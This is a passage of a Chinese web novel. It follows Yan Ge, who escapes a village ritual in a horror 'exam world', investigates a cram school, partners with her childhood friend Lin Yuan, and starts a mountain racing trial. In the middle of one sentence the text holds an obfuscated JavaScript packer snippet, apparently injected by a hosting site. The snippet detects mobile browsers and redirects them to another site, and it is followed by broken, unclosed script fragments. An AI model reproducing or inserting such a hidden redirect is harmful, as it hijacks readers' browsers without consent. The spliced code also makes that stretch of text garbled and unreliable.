她让双胞胎引开部分村民,自己趁乱靠近假意抓捕里婆,目的就是为了逼家福下决心动手。 家福常年被里婆压制,懦弱胆小,只有他一人他一定不敢行动的。 但如果让他知道有人站在他这边,这人还是拥有贡品的双胞胎的话,那事情就完全不一样了。 而且最重要的一点。双胞胎说家福不是里婆亲生的,他是村长女儿丢失的那个儿子。彦歌不觉得这么多年他连这个都发现不了。 “你迟早会把我也吃掉。”家福眼神空洞,嘴里喃喃道。 “你没事吧?”秦允走到彦歌身边。 彦歌摇头:“我没事,只是没想到她的力气那么大。” 秦允语气淡淡:“你该庆幸她只是劲大,万一双胞胎情报有误呢?” 双胞胎日日在集市摆摊,就是为了打探里婆的情况。 彦歌扫他一眼:“那你还跟着我干?” “……”秦允难得遇见比他还难聊的人。 “呵呵呵呵呵!”里婆怨毒地跪坐在祭坛上,“我果然早就应该先杀了你!” 家福嘴唇颤了颤,最终走向双胞胎,将匣子递给她们:“这是里婆操纵村民用的虫蛊,你们应该懂得祭祀咒语吧?” 苗苗接过匣子,重重点了下头,接着郑重走向祭坛,嘴里一边念着古怪的咒语一边往上走。 彦歌问秦允:“我们可以走了吗?” 出乎意料的,秦允脸色并不好看:“按理来说是的,但是没听到大巴的鸣笛声。课题结束大巴会鸣笛,那声音不受任何东西的阻挡,但现在却什么都没有。” 彦歌皱眉,她确信到现在的每一步都是没错的,除非……彦歌抬头看向祭坛。 随着苗苗的咒语,天空雷鸣电闪,黑云压境,一股无名的威压向地上的人袭来。 彦歌看到里婆吐了口血。 “既然如此,那我们就一起死吧!”里婆仰天长啸,大张着嘴,一条形似蜈蚣、浑身冒着红光的长虫从她嘴里飞身而出。 “我伟大的巴力神啊!我以我所有的生命、力量和诚心向您献祭,希望您满足我的愿望,替我杀了这些人!” 彦歌感觉有点不妙:”这是什么?” 朵朵惊恐地瞪大双眼:“不好!怪不得她的实力如此受限!她是在培养邪神!她用血肉饲养巴力神,现在巴力神已经不是从前那个巴力神了!” “姐姐有危险!觅鸟快跟我走!”朵朵带着觅鸟火速冲向祭坛。 也就是说之前秦允偷听到的都是里婆故意的?! 彦歌沉着脸看向家福。 家福一脸呆滞地看着天空,显然,他也被骗了。 “我活了一百多年啦。”里婆站在祭坛上,居高临下地望着他们,“我会不知道你想干嘛吗?” “你的味道那么深,我怎么可能感受不到呢?”里婆不屑地看向彦歌。 “滋啦!” 如黑色菌群般的天空骤然撕开一条裂缝,一只血红色的眼珠滴溜溜地注视着他们。 彦歌呼吸一窒,这种难以言喻的恐惧再次涌上心头。 她就说哪里不对劲,如此一来,就全都对上了。 但是彦歌还不想死呢,她还等着回去把那群人发配非洲呢! 彦歌紧咬着唇让自己维持清醒,正准备再给自己腿上来一下时,身后却突然传来一阵声响。 “砰!” 不知从何处飞来的一块石块突然击中天空的眼睛,但这对祂显然如挠痒痒一般,祂只闭了闭眼。 可这一眼对他们来说却能救命。 “彦歌!”王圣英焦急地握住她的手,“快醒醒!大巴来了!我们快走!” 原来在眼珠出现时,大巴就鸣笛了,可他们距离巴力神太近,混沌中竟毫无察觉。 “快走!”秦允拧眉大喊,“这里离竹楼太远,万一巴力神真来了我们就死定了!” 来不及多想,彦歌等人立马抬腿就往山下跑。 “别松懈!大巴只等半小时!”秦允像是看出彦歌的疲惫,立马出声提醒。 彦歌轻点下头:“我没事。” 一分钟,二分钟,十分钟……他们终于赶在最后的期限到达了竹楼。 “快跑!还有三分钟!”车上的马力探出头大喊,“巴力神也在后面!” 看来她出去以后要健身了。 赶在最后一秒终于上车的彦歌神志不清地想。 我要吐血了。 “彦歌。”王圣英扶起彦歌,“坐着会好受些。” “你为什么会来?” 彦歌的眼神平静,没有丝毫责骂或厌恶的情绪,但却让王圣英忍不住落下泪:“我对不起青青……我不该带她跟马力合作。” “这就当,就当我的赎罪吧……” 彦歌没再说话,转头沉默望向血红天空下的长乐村。 她的眼皮不受控地越来越沉重,在最后闭眼前,她恍惚间好像看到了朵朵和苗苗。 . “彦歌!彦歌!!快起来了!” 彦歌猛地惊醒,满头是汗地掀起身上的被子:“我们失败了?!” “什么失败了?”床下的人疑惑地拉开彦歌的窗帘,却在看到她的脸色后吓得差点从椅子上摔下来。 “彦歌你怎么回事?生病了吗?” 彦歌脸色惨白如纸,但眼睛下却挂着两个巨大的黑眼圈,整个人湿得像刚从水里捞出来一样,乍眼一看,还以为是溺水鬼回来索命。 “我没事。”彦歌抬手抹了把额头上的汗,声若游丝道。 陈落落心说你这哪像没事的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667150|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但顾及彦歌性格,陈落落最终没戳穿她。 “那我帮你请假吧?” 彦歌轻轻点了点头:“谢谢。” “呼!” 室友一出门,彦歌就浑身瘫软地倒在床上,她的头现在痛的要炸了。 先睡一会儿好了。 结果这一睡,一直睡到室友中午下课回来。 “彦歌,你好了吗?”陈落落担忧的声音从床下传来。 “啊。”彦歌用力闭了闭眼,努力坐起身下床,“好多了。” 陈落落见彦歌脸色虽然还是很差,但跟早上比确实好多了,心中便也放心下来。 “那就好。” 彦歌趿拉着拖鞋,脚步虚浮地走进浴室洗了个热水澡后才终于找回自己活着的感觉。 就像做了个噩梦一样。 但是……彦歌注视着自己腿上的淤青,是真的。 看来是时候去那什么“包你考上”那看看了。 彦歌将擦头发的毛巾随手甩到一边。 “彦小姐?哎呦真是彦小姐!今儿什么风把您给吹来了?您能愿意来啊……” 彦歌扫了眼在她旁边一直喋喋不休的地中海中年男人的胸牌。 王明辉,包你考上的教导主任,也可以说,是经理。 他看着很讨厌,但却不像课题NPC和导师那样诡异扭曲。 是真人? 彦歌下意识踢了脚王明辉。 “哎呦!”王明辉一下收住喋喋不休的嘴,敢怒不敢言地瞄了眼彦歌,“彦小姐您这是?” “哦。”彦歌有些不好意思地摸了下鼻子,“脚抽筋了,不好意思。” “呵呵没事没事!”王明辉谄媚扶了把彦歌的包,“您脚没事吧?” “没事。”彦歌在接待室门口停住,“是这里?” “是是是。”王明辉连忙拉开门,“您请您请。” 彦歌将包放在桌子上,一屁股坐进身后的真皮沙发。 还挺舒服的,看来这个机构没少赚。 “您今天来是有何指教啊?”王明辉将茶水端给彦歌,小心翼翼地问。 彦歌接过茶放在桌上,抬眼瞥了一眼他:“你别紧张,我知道我报名地事跟你无关。你现在去把你们机构学生和老师的名册给我拿一份。” “全部机构的。”彦歌又补了一句。 “是。”王明辉虽不理解,但也不敢怠慢,连忙去办了,不一会儿就将东西拿了过来。 “您看……有什么问题吗?”王明辉有些紧张地坐在椅子上。 彦歌没搭理他,只专心翻着手册。 秦允,曹正扬,赵祥……这些人的名字真的都在,但她怎么找也没找到李青青,王天天还有刘飞的。 难道死了之后这些就都消失了? 彦歌合上手册:“李青青,这个人你记得吗?” 王明辉思索半天:“没印象,是我们本校的吗?” 彦歌又问:“曹正扬和赵祥呢?” 王明辉脸上露出一丝无奈和笑意:“他俩我知道,曹正扬性格很活泼,基本我们学校的老师都知道他。” 彦歌:“你们学校的学生,你都能记得吗?” 王明辉摇头:“彦小姐,我哪有那么好的记性,除了像曹正扬这样的,也就是学习好的我会记得,其他的我也就他们刚入学那会有印象。” 可据李青青自己所说,她是前天才加入的。 彦歌沉默地盯着手上的手册。 16. 林沅 彦歌面无表情地站在门口,脑海中不断回响着刚才王明辉的话。 “彦小姐,我对李青青真没印象啊!” “哦对了!我们机构跟附近学校都有合作的,您要是想找她,我可以帮您查。” “彦小姐,这S市内所有大学都没有这个人啊!您是记错年纪了吗?” 彦歌不信邪,她亲自去翻,甚至找到了李青青的报名表,但在王明辉眼里,却是一张白纸。 “彦小姐,您是不是最近压力太大了?” 这课题竟能操纵人的记忆和视觉? 彦歌闭了闭眼,甩掉刚才王明辉眼底掩藏的、看疯子一样的眼神。 算了,目前最起码跟那群老东西没关系。 不过事实到底如何,她只有查清楚了才放心。 彦歌放平心态,准备掏手机打电话时却忽然感觉面前落下一块阴影。 “......你是?”彦歌将包重新拉好,抬头看向面前的男人。 男人头发微卷,精致的桃花眼上却是一对有些凌厉的野生眉,高鼻薄唇,脸部线条锋利流畅。 是一张漂亮却极具攻击性的面孔。 彦歌莫名觉得男人的脸有些熟悉,“我们见过?” 男人轻轻一笑:“这个搭讪词已经过时了。” “......” 神经病。 彦歌别开视线,抬步绕开男人准备离开。 “彦歌。”男人却突然出声叫出她的名字,“我是林沅。” “你不记得我了?”林沅的声音带着几分委屈。 彦歌脚步一顿,有些僵硬地扭头,“林沅?” 该死的,她就说感觉很眼熟。 林沅上前几步,蹙眉低头,垂眸幽怨道:“你根本就是不记得我了!我们还是一起长大的呢!” “你八岁就出国了,严格意义上不算一起长大。”彦歌嘴上这么说,但内心还是有些虚,于是迅速转移话题:“你什么时候回国了?你也没告诉我。” 林沅却不打算放过彦歌:“我可都认得出你!我才回国的,刚转到你们学校读大一,还没来得及告诉你。” 彦歌反驳:“我朋友圈有我照片好吗?你朋友圈毛都没有。” “不过你怎么回国读大学了?”彦歌记得自从罗阿姨去世后林叔叔就把产业转到国外了,她以为他们以后都不会再回国了。 “......我不喜欢国外。”林沅貌似不想多说,只浅浅回了一句。 彦歌以为林沅是想起罗阿姨了,立马岔开话题:“你怎么知道我在这里的?” 彦歌转移话题的样子很生硬,林沅一眼就看出来了,但他并不准备戳穿。 “你等会就知道了。”林沅弯着眼睛一笑,“现在作为你忘记我的惩罚,请我吃饭吧!” . “你怎么跟饿死鬼一样?”刚烧开的火锅雾气很大,几乎遮住了对面林沅的整张脸,但彦歌光看影子也能猜到林沅狼吞虎咽的样子。 “你知道吗?吃饭的环境是很重要的。”林沅咽下口中的食物,一脸正色,“同样的食物,在国内和国外是两种味道。” 从前的彦歌不懂,但经历过课题后的彦歌懂了。 她除了前两天,后面基本就没怎么吃,出来又一直忙于调查,她几乎都以为自己进化掉饥饿了。现下看着林沅吃饭,她才发现自己不是不饿,是已经饿过头了。 “你不是问我怎么知道你在哪的吗?”林沅忽然放下筷子,郑重其事地提起这个不久前中断的话题。 “你怎么知道的?”彦歌并不在意这件事,她当时只是怕林沅触景生情,随口提起的罢了。 她现在比较在意这个肉熟没熟。 林沅:“因为课题世界。” 彦歌刚夹起的肉猛地滑进锅里。 “你什么意思?”彦歌语气不自觉地冷下去。 林沅托着腮,仍是一副笑眼眯眯的样子,“你别紧张,我也是‘包你考上’的学生。” 彦歌有些不可置信:“你也是?你不是才回来?” “我爸让我回国的条件是要我必须考研。”林沅收起笑容,眼中有些阴郁,“听说这是国内最火的机构,我原本想敷衍一下他的。” 那还真是巧了。 彦歌现在不知自己是该庆幸还是该悲伤。 林沅:“我应该比你早进去,我已经过了四个了。” “你是第一个吧?”林沅望着彦歌的样子猜测。 “是。”彦歌听完这话,立马眼前一亮:“你有什么发现?” “基本的课题规则,死亡条件以及通关方法你应该都知道了。”林沅顿了一下,“你知道学生可以组队吗?” 彦歌点头:“我知道。” “那你应该知道我为什么找你。”林沅弯着眼睛看着彦歌。 彦歌:“我知道。” 她当然知道,林沅想找她组队,否则他何必如此大费周章。 “那么?”林沅眼睛亮闪闪的。 “为什么?”彦歌并不怀疑林沅的能力,虽然这些年她并不了解林沅的情况,但她知道林叔叔,一个极其自律严格的人。 这样的人培养出的儿子绝不可能差。但她要知道林沅为何选她作为合作对象,她可不信林沅是念及小时候的情分。 “为什么?”林沅轻皱着眉,认真思考片刻后眼前一亮,“那当然是因为你聪明了!” 彦歌冷眼看着林沅:“没想到林叔叔这么严肃认真的人,他的儿子竟是如此左右逢源。” “你觉得我这样很讨厌吗?”林沅收起表情,眼底带着彦歌看不懂的复杂情绪。 “我不是这个意思。” 许是因为林沅受伤的眼神,彦歌竟下意识出声反驳。 彦歌绞尽脑汁地找补:“人的性格没有好坏,我只是想说,如果你想跟我合作,我希望你真诚,毕竟课题不是谈合作。” “呵。” 林沅忽地低头一笑,抬起头时却已恢复成以前那样。 “好吧,我会实话实说,但是我说完你能同意跟我合作吗?” 彦歌面无表情地驳回:“别给我来这套,说。” 林沅瘪瘪嘴,最终选择了妥协。 “我刚才不是完全骗你,我不放心和别人合作。但我完全相信你的实力和人品,所以跟你合作我不需要担心。” “而且。”林沅垂下眸子,彦歌看不清他的表情,“我爸现在还没准备让我接管公司,所以他们并不完全听我的话,而动用家中关键需要经过我爸。但你就不一样了,彦家那群酒囊饭袋不是你的对手,虽然表面上你还受制于他们,但其实彦家基本由你做主。” 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“当然不是。导师遵守着属于它们的一套规则,这里面有多少规则我不知道,但其中一条是若新生得知课题内容,便不允告知通过五个课题及以上的学生课题内容。” 林沅眼中划过一丝冷意:“所以那群人故意散布导师多么恐惧以及假线索,目的就是为了阻止新人知道课题内容。” 难怪秦允说他看见老人得知课题了自己却没尝试。 看来自己反倒误打误撞做了件好事。 彦歌:“那导师到底是什么?” 林沅摇头:“我不清楚,但它自己也要遵守规则,说明后面还有制定规则的人,这个人才是创造的人,导师估计是它派下来看管学生的。” 彦歌问:“那你知道导师有规则一次只能回答学生三个问题吗?” “我知道。”林沅目光一凝,“你问导师课题了?” “嗯。”彦歌欣然承认,既然已经同意合作她自然是不会隐瞒。 林沅叹了口气,语气听不出是好还是坏:“我想那个人也是你。不过你不要觉得这是什么好事,那些老人现在都对你恨之入骨呢。” “你们都知道了?怎么知道的?”彦歌敏锐地发现林沅话里的信息。 林沅神色复杂:“有个老人问了课题之后死了。” 活该。 彦歌心里这么想,但嘴上并没说,“你怎么知道的?” 林沅灿烂一笑:“打探消息我最在行了。而且这些人太好辨认了,只需看身上有没有死气就好了。” 这话倒是不假。 彦歌接着问:“还有什么规则吗?” 林沅却不准备继续说:“不着急,我以后慢慢告诉你。眼下你还是好好休养吧,在课题里受的伤会一定程度反射到现实,你以后记得小心。还有,新人前三个课题间隔半个月,你算好时间把需要的东西带好。” “三个课题后呢?” “随机,前三天你会有感应的。”林沅面色凝滞一瞬后又突然笑道:“对了,因为之前出现了很多老人带新人,导致新人存活率增高的情况,所以现在组队之后按照课题数多的人来排哦~” 彦歌:? 17. 秋名山车神(1) “你带了什么?” “你自己看。”彦歌将包甩给林沅后就开始在房子里巡视,“我们为什么一定要在一起?课题进去的是意识,我们组队绑定后意识落点也是一样的啊。” 林沅接过包浅浅查看后就开始装自己的东西,“你还是新人感知的时间不准,为避免你突然晕倒,跟我一起比较保险。” 房子坐北朝南,视野开阔,装潢精致温暖,还算不错。 彦歌溜达完后回到客厅,躺在林沅旁边的沙发上,“行吧。” “你不是刚回来吗?我看这个房子也不像新买的。”彦歌说着转头,正好看见林沅往她包里塞最后一个东西,“...你自己没包吗?” 林沅将包抱在怀里,似乎怕彦歌抢,“我的东西少,顺便跟你一起装啦。” “这个房子是我朋友的,我借来的。”林沅说完又接着回答彦歌上一个问题。 “那你背着。”彦歌再次躺回去,“快点。” “好了。”林沅将枕头和彦歌摆在一边,抱着包躺下。 . “这是哪?” “喂喂?你们有人知道吗?” 彦歌晃晃脑袋,缓缓睁开眼。 一个寸头,葫芦脸型的男人正暴躁地在走道来回踱步,“课题?你们开什么玩笑?!” “新人。”林沅贴心地告知彦歌。 彦歌点头,她现在知道刘飞为什么会说车里那么安静了。 如此看来,李青青的心理素质在新人里其实也算很不错了。 “同学,你要是不信可以去驾驶位看一眼。”一个留着微分碎盖,长相清润的男生说道。 整辆车中只有他在热心为新人解惑。 林沅凑到彦歌耳边:“那个扎着双马尾的女生还有窗边戴眼镜的男生,他们也是新人。” 他们神色惊恐,但是却没像暴躁男一样不停大叫,只安静地坐在位置上听着。 “像这种暴躁的常有,但其实不多,大家毕竟都是要考研的人了,心理素质多少都会高一点。”林沅分享着自己之前的经验。 彦歌推了推林沅,示意他让点位置:“驾驶位有什么?” 其他人的状态与她来说并不重要,她只关注课题。 林沅往后挪了挪,给彦歌让出探头的身位:“司机没有头。” “有挡板挡着,你这样是看不见的。” 彦歌发现确实看不见后又缩回去。 反正知道是什么就好了,她对看无头人没有兴趣。 “他......他,他?!”暴躁男一屁股坐在地上,连滚带爬地回到碎盖男身边。 “你说的是真的?!”暴躁男呼吸紧促,双眼不受控地睁大。 碎盖男伸手将暴躁男拉起来,安抚地对他笑笑:“你别太害怕,记住我刚才跟你说的规则,小心谨慎些,我们生还率还是很大的。” “我不是按你的课题来吗?为什么会有三个新人?”彦歌看着他们俩问。 林沅:“因为你是新人,课题是综合来选人的。况且我也才四个而已。” “好了。” 碎盖男看了眼窗外,对众人道:“到站了,我们该下车了。” 这次课题的地点是一个飘着漫天风沙的黄土高山。高山高耸入云,峰峦叠嶂,即使身在山脚,也能看出它的陡峭崎岖。 这里几乎没有绿植,四处都是黄沙土块,以及一些残缺不齐的建筑。彦歌乍一看还以为自己来到了刚被攻破的边疆。 离他们不远的地方整齐摆放着六辆红黑撞色的赛车。赛车线条流畅锋利,前脸俯冲地面,配上身后高扬的尾翼,显得整辆车气势逼人,如同一只即将振翅高飞的雄鹰。 “卧槽!好酷!”暴躁男一下车就直奔赛车,此时已经全身心都贴在车上了。 本次课题共有八人,除却刚才看见的四个人,还有两个。一个是留着利落短发的女生,五官普通,但气质很独特。另一个是浑身肌肉的男生,身高很高,看上去很有安全感。 八个人六辆车,感觉不太妙啊。 除三个新人外,其他人皆神色各异,看来大家都看出问题了。 “哎呀哎呀!我的新学生们终于到了!”这次的导师是个涂着红唇、长发飘飘的女人。 “我是你们这次的导师,闻老师。”闻老师皮肤本就青白,又抹了很厚的粉,显得整个人更加鬼气森森,“本次课题我不能一直陪伴你们哦~所以大家行事要千万小心,不然我可来不及救你们!” 救?把活人救成死人的那种吗? 彦歌面无表情地看着闻老师。 闻老师眉眼耷拉,但嘴角却高高扬起:“好了!我要走了!呜呜呜,我会想念大家的!” “等等!”碎盖男忽然出声打断。 正准备跑路的闻老师动作一顿,她张开红色的嘴巴,森白的牙齿上下碰撞,发出清脆的“咯哒”声:“文修同学,你有什么事吗?” 闻老师眼神阴翳,似乎对文修打断她的行为非常不满。 文修握了握拳,声音努力平稳:“闻老师,我们这次的课题是什么?” 闻老师“呵呵”笑了两声,猛然间冲到文修面前与他面对面。 “看在你的姓跟我读音一样,我就告诉你好了。是赛车。” 文修吞了吞口水,半晌才鼓起勇气抬头看向闻老师几乎都是眼白的瞳孔:“好,好的。谢谢闻老师。” 闻老师提起嘴角,对着文修一笑:“没事。” 说完就突然消失在文修面前。 还没从诡异笑容中缓解出来的文修:? 彦歌问林沅:“每个课题导师都不一样吗?” 这个导师跟是一个课题不是同一个,难道是一个课题一个导师? 林沅摇头:“不,我目前只知道有四个,具体多少我不清楚,但不是无限的。” “哥们你怎么了?刚才那个女的是谁?”刚欣赏完赛车回来的暴躁男一脸好奇地问文修。 文修脸色不太好:“是导师。你别随便碰课题的东西。” “大家都到齐了?那我们可以开始启程了!”一个举着写着“A1”旗帜的女人从远处向他们走来。 女人身着一身红色紧身皮质赛车服,头发在脑后梳成一个利落的马尾,如果不是因为那张没有五官的脸,彦歌都想夸一句飒爽多姿。 “我是本次A1自由行的主理人娜娜,热烈欢迎参与这次活动的各位!”娜娜边说边自说自话地鼓起手,“本次自由行共三天,全程两千五 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双马尾握着一把钥匙,声音有些颤抖:“我叫屠思淼,我看你好像没有车,你愿意跟我一辆吗?” 彦歌闻言一愣,她倒没想到屠思淼会来邀请她。 屠思淼见彦歌不说话,有些着急:“我虽然是新人,但我一定不会拖后腿的!我刚拿到驾照,这种赛车我实在不敢开,求求你了......” “你为什么觉得我会开?”彦歌有点好奇,看脸的话,她个人感觉短发女看起来比她靠谱多了。 屠思淼眼神认真,郑重其事道:“同学你知道什么是第六感吗?我从第一眼看到你,我就被你的气质......” “她跟我一辆车。”林沅晃着钥匙,脸色很臭地挤进她们中间,“不好意思,你来晚了。” 屠思淼失望地垂眸:“好吧......” 彦歌觉得她有点意思,便好心提醒:“你去找另一个女生组队吧,她好像没抢到钥匙。” 屠思淼看了眼远处独自一人的短发女,又看了眼彦歌:“好吧!那我们休息室再见!” “没想到这就有人找你组队了。”林沅看着远去的屠思淼,语气古怪道。 “我也没想到。”彦歌完全没听出林沅语气中的不对,“或许长头发比短头发更亲和?” 虽然短发女面色冷漠,但彦歌也清楚自己平时是一张什么臭脸,老人的话她还能理解,新人她确实没想到。 “......上车了!”林沅说着就提着包往车走。 “你不开吗?”彦歌打开车门,看到坐在副驾驶的林沅有些惊讶。 她还以为林沅会跟他们一样抢着开车,所以她都准备好让给他了。 林沅抱着包,一脸柔弱:“我恐高,听说你的车技很好,我也想见识一下呢。” 行吧。 彦歌不再多问,利落地坐到驾驶位,插钥匙,启动。 这车真的帅。 彦歌有些爱不释手地摸着方向盘,一时间竟下意识放松了警惕,导致她并未注意到身旁林沅长久的谛视。 18. 秋名山车神(2) 山上道路崎岖狭小,只堪能容纳一辆车,又多为依山傍崖,纵使彦歌车技不错也有些难以驾驭。再加上她开赛车的次数一只手都能数得过来,彦歌不由得坐直身体,全神贯注开车。 “导师说课题是赛车,但那个主理人却说我们是自由行。”林沅翻着地图悠闲分析,“八个人又只有六辆车,你说会不会是只有前六名才能通关呢?” “不排除这种可能。”彦歌直视前方,神色冷静,“不过我认为这个可能性很低。这些导师最喜欢咬文嚼字,一般不会把这么明显的线索摆给我们。” “哔——哔——” 车后忽然传来一阵急促的喇叭声。 彦歌看向后视镜,是暴躁男。 “喂喂!快点开!”暴躁男不耐烦地按着喇叭。 彦歌扫了眼自己的车速,200公里/h。这个车速是她开这种路的极限了,再快点很可能出事。 “你安心开。”林沅打开车窗,冷着脸看向暴躁男,“吵什么吵?嫌慢你往左边开,那边宽敞!” 左边是悬崖,能不宽敞吗? 暴躁男气愤地锤了把方向盘,骂骂咧咧地减速:“妈的个怂货!车都不敢开!” 林沅并未搭理暴躁男,见他老实后便回到座位接着翻地图:“前方150公里后我们会转弯进山里,那边路比较宽,等到那边他就能走了。” 彦歌:“嗯。” 如林沅所说,150公里后果然不再是悬崖,而是山中的宽道。只是周围荒凉无比,全是干枯的树杈和黄土,只有依稀几根草□□地生活在裂缝中,但是颜色也逐渐枯黄。 暴躁男一进宽道便立马迫不及待地超车,疾驰向前,走的时候还不忘扭头骂一句林沅。 “死娘炮!” 彦歌偏头看了眼林沅,见他神色如常后又转回去:“你不生气?” 林沅笑笑,脸上没什么表情:“他还不配。” “我们现在跑了三小时,一共行驶了350公里。”林沅一边看地图一边计算车程,“但是前方道路会更恶劣,会更难以前进。我建议在这条路上加速前进,可以节约点时间...” 林沅还未说完,彦歌就一脚油门加速,使林沅差点一头撞到前面的仪表台。 “没事吧?”彦歌抽空看了眼林沅。 “没事。”林沅默默靠在车窗旁,他感觉有点晕了。 “吱呀——” 除了彦歌忽然减速带来的声音外,还有林沅脑袋撞到玻璃上的声音。 “咚!” “大小姐,怎么了?”林沅摸着头,龇牙咧嘴地问。 彦歌轻轻抬了抬下巴:“前面有人。” 林沅瞬间警惕地看向前方。 前方大概二百米的位置,有两个人忽然出现在道路的正中心。一个人躺着,另一个站着。 “要停车吗?”彦歌嘴上问着林沅,但手已经把车停了下来。 林沅只得默默跟着彦歌下车。 彦歌走近后发现躺在地上的是个小男孩,站在一旁的则是一个中年妇女。二人看上去像是母子俩。 “道路中心很危险,你们去旁边吧。”彦歌对着女人说。 女人脸色蜡黄,眼神空洞诡异,一开口嘴巴就会变成一个大大的“O”,“有人撞了我的孩子!我可怜的孩子啊!!呜呜呜呜!” 彦歌看向地上的孩子。 小男孩大概五六岁,身形瘦小,衣服布满尘土,但却并没有血迹。 而且......小男孩的眼睛张得很大,从彦歌下车时就一直死死盯着她。 “所以才更要去路边,不然又被撞了怎么办?”彦歌继续提醒。 女人仿佛听不见一般,一直张着嘴哭嚎,整个人活像爱德华·蒙克的《呐喊》。 “呜呜呜我可怜的孩子!你被撞得好惨!” 彦歌看了看面色惨白但精神却很好的小孩,又看了看面色蜡黄双目憔悴的女人。 ......她一时之间不知道被撞得是谁。 彦歌叹了口气:“好吧,谁把你孩子撞了?” 女人哭声猛地止住,她伸出双手分别指着彦歌和林沅,尖叫大吼:“啊啊啊是你们!!我可怜的孩子!” 彦歌、林沅:? “阿姨,你就算是鬼也要讲道理吧?”林沅蹲下身跟她理论,“我们的车都没开过来,上哪把你孩子撞了?” 女人不依不饶,指着车子大叫:“就是这辆车!刚才就是这辆车!” 林沅直起身看向彦歌:“大概率是他撞的。” 一路上他们遇到的车只有暴躁男一辆,而暴躁男刚走不久这对母子就出现了。彦歌不认为其他人会愚蠢到去撞NPC。 彦歌:“他们不会无缘无故出现在这里,可能跟死亡条件有关。” 她还在想这个课题死亡条件会是什么呢,总不可能就明面上那两条吧? 彦歌环视一圈周围:“旁边没什么树,我们绕过去吧。” 林沅:“可行。” 结果他们刚表现出要走的样子,女人就突然猛地起身,死死抓住彦歌的腿。 “不许走!!杀人偿命啊!” 女人双手如枯枝,但力气却大的出奇,彦歌几乎以为自己的小腿要被生生捏断。 “松手!”林沅试图扒开女人的手,却发现根本挪不动分毫。 肉眼可见的,彦歌的腿已经快要变形,林沅目光一沉,正准备抬脚踹女人时却突然被彦歌拉住。 “...等会。”彦歌脸色有些苍白,这该死的跟上一个课题是同一条腿。 林沅皱眉:“你的腿可能会断。” 彦歌松开林沅的衣服,转头看向地上的女人:“我不走,你先松开。” 女人似乎不信,仍牢牢攥着彦歌。 “不松开我就让他碾死你儿子。”彦歌面无表情地威胁,“大不了我们一起死。” 林沅:...... 女人:...... 地上的小男孩闻言立马闭上眼睛,开始装死。 女人忌惮地看了眼林沅,默默松开了手。 彦歌蹲下身子,看向女人凹陷的双眼:“你的儿子看上去没什么事。” “我的儿子被撞死了!”女人说着猛猛锤了下小男孩,“你看!他都不动了!” 彦歌、林沅:? 小男孩平稳地躺在地上,纹丝不动,仿佛真的死了一般。 彦歌叹了口气,轻推了把林沅。 林沅刚准备伸手摸向小男孩,就被女人突然地叫喊吓得一愣,“还要侮辱尸体!!” “......阿姨,您想怎么解 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女人闻言扯着脸皮,露出一个诡异的微笑:“我不坐车,你同意我们跟着你吗?” 彦歌盯着女人半天没说话,末了才开口:“只能跟着,并且找到撞你们的人就走,不许再跟。” 女人抱着儿子走到路边,一字一顿:“当然,只要你能找到。” 彦歌不再多纠缠,起身往车的方向走,“快赶路。” 林沅透过后视镜看像身后一直注视他们的女人,“你就这么答应了?” “你有别的办法?”彦歌直视前方,专心致志地开车,“只要我们找到是暴躁男撞他的证据,就不会有事。” 林沅笑道:“你这么笃定?” 彦歌毫不留情:“出事了自会让你去替死。” 林沅:“......” 要不要这么冷漠! 林沅转头坐好,冷着脸开始稀里哗啦地翻地图,“前方2......” 林沅话还没说完,彦歌又一个猛地刹车。 “......” 林沅阴着脸看向彦歌:“我的死期现在就到了?” 彦歌没什么表情地往前一抬下巴,“我太受欢迎了怎么办?” 林沅转头一看,又一个人堵在路中间。 这次是学生中的新人眼镜男。 “下车吧。”彦歌一边解安全带一边开门。 林沅半垂着眼,语气不太好地问:“你不赶紧走在这堵着干嘛?” 眼镜男搓了搓手,有些忐忑道:“不好意思......我的车坏了,你们可以带带我吗?” 林沅扫了眼不远处冒着黑烟的车,轻皱着眉道:“我们人满了,你等别人吧。” “没有别人了!”眼镜男脸色惨白,嘴唇不自觉地抖,“你们是最后一辆车了,求求你们......求求你们带着我吧!” 眼镜男说着,竟忽然跪了下来,“你们不带我,那就撞死我!或者杀了我吧!反正,反正怎么着都要死了!” “......” 彦歌有些疲惫地扶了下额。 今天是什么黄道死日吗?怎么所有人都想被她撞死? 19. 秋名山车神(3) 林沅俯身靠近眼镜男,面无表情的脸在阴影的遮盖下显得有些阴冷,“你想死我不拦着,但你要是拉我们一起。” “虽然课题规定学生不能自相残杀,但我有一百种杀死你而不违反的办法,想试试吗?” 眼镜男脸色一白,下意识瘫坐在地上。 林沅冷着脸看了眼地上的眼镜男,然后转身对彦歌一笑,“我们走吧。” 彦歌看向眼镜男,有些疑惑:“你跟他说了什么?” “没什么。”林沅挡在眼镜男面前,弯着眼睛道:“就是告诉他这样会害死我们三个人。” 彦歌有些狐疑地看了眼林沅,但眼下时间紧迫实在不容她多想,“行吧,那我们快……” 没等彦歌说完,眼镜男就急忙从地上起身,但因为畏惧林沅,又不敢靠近,只得缩着脑袋站在原地大喊:“等,等会儿!” 林沅面无表情地转头,没什么情绪的眼神让眼镜男不自觉地抖了抖。 眼镜男吞了吞口水,低着头扣着手上的脏污,断断续续道:“我,我当时就是为了躲王牌的车,才会不小心出事的……额,他,他当时神色慌张,一定是发现了什么事,如,如果你们……” 彦歌:“好。” 林沅:? 正绞尽脑汁思考如何说服彦歌的眼镜男:?! 林沅吸了口气,他轻垂着眼看向彦歌:“为什么?” 彦歌:“我本以为王牌是故意撞的,毕竟那母子一看就不像人。但从他的话来看,王牌应是发生了某种意外不小心撞的。既然如此,他就不会那么轻易承认。” “所以我们需要他来诈一下王牌。” 彦歌走到眼镜男面前,问:“你出事时王牌有下车看你吗?” 眼镜男摇摇头:“他当时一直滴我,我慌张让路时不小心出事的……他应该都不知道这件事。” “这样。”彦歌对着眼镜男轻轻一笑,“带着你可以,但是你必须听我的,不然我随时把你丢下去。” 眼镜男慌不择路地点头:“我一定听!” . 